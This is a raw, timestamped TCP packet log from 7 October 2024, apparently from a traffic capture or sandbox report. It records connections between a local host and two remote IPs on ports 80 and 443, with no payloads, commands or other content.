Oct 7, 2024 18:00:44.744716883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744721889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744735003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744739056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744751930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744755030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744767904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744771957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744791031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744812012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744834900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744834900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744834900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.744952917 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744971991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.744987011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745001078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745014906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745014906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745032072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745043039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745049953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745058060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745058060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745066881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745075941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745081902 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745100021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745124102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745815039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745830059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745846033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745865107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745891094 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745899916 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745907068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745923996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745925903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745942116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.745965958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.745982885 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746118069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746134996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746149063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746164083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746165991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746176958 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746180058 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746196032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746196032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746211052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746223927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746248007 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746629953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746644974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746659994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746676922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.746686935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.746711016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.758992910 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759007931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759023905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759064913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.759097099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.759131908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759146929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759161949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759183884 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.759201050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.759399891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.759469032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.760020971 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.760055065 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.760102987 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.760107040 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.760154963 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.760358095 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.760370970 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.760380030 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.760385990 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.760677099 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.761189938 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.761205912 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.761778116 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.761781931 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.764139891 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.764178991 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.764257908 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.764384031 CEST	49869	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.764396906 CEST	443	49869	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.772141933 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.772320986 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.772403955 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.772564888 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.772578001 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.772598028 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.772603989 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.775410891 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.775451899 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.775666952 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.775666952 CEST	49870	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.775700092 CEST	443	49870	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.800228119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800246000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800261021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800308943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.800359011 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.800378084 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800386906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800390005 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.800436020 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.801213026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.801275015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813627958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813749075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813766003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813765049 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813787937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813790083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813803911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813805103 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813822031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813837051 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.813851118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813851118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.813878059 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.826968908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.826984882 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827007055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827022076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827029943 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827038050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827044964 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827054977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827070951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827079058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827092886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827119112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827137947 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827152967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827176094 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827195883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827224016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827240944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827255964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827265024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827271938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827286959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827291012 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827303886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827313900 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827325106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.827352047 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.827375889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829657078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829675913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829693079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829715967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829719067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829731941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829731941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829750061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829762936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829770088 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829790115 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829792976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829818010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829842091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829916000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829931021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829945087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.829957008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829969883 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.829998970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830030918 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830045938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830066919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830092907 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830117941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830178976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830200911 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830214977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830229998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830230951 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830245018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830245972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830262899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830267906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830281019 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830292940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830322027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830495119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830509901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830524921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830538034 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830563068 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830646992 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830662966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830677032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830691099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830703974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830707073 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830717087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830723047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830738068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830746889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830755949 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830770016 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830771923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830785036 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830796003 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830801010 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830817938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.830821991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830837965 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.830862045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831372976 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831403017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831418037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831418991 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831434011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831444979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831449032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831464052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831470966 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831480026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831494093 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831501961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831510067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831516981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831526041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831540108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831543922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831556082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831571102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831579924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831587076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831600904 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831614971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831617117 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831631899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831635952 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831648111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831650972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831665039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.831676960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831691980 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.831716061 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832169056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832182884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832197905 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832211018 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832225084 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832241058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832310915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832324982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832344055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832351923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832353115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832360029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832369089 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832386017 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832411051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832438946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832453966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832468987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832475901 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832484007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832492113 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832501888 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832508087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832515955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832523108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832531929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832539082 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832556009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832571983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832715988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832731009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832745075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832756996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832767010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832772017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832787991 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832794905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832803965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832818985 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832818985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.832847118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.832885027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.846371889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846388102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846402884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846432924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.846456051 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.846653938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846669912 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846687078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846702099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.846702099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.846724033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.846745968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.877063036 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.877221107 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.877283096 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.877593994 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.877609015 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.886070967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886087894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886104107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886136055 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886173010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886231899 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886255026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886270046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886270046 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886286974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886296988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886301994 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.886317968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886327982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.886344910 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.890486002 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.890521049 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.890721083 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.891289949 CEST	49871	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.891307116 CEST	443	49871	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.898660898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898678064 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898694038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.898719072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.898742914 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.898895979 CEST	80	49831	95.164.90.97	192.168.2.5
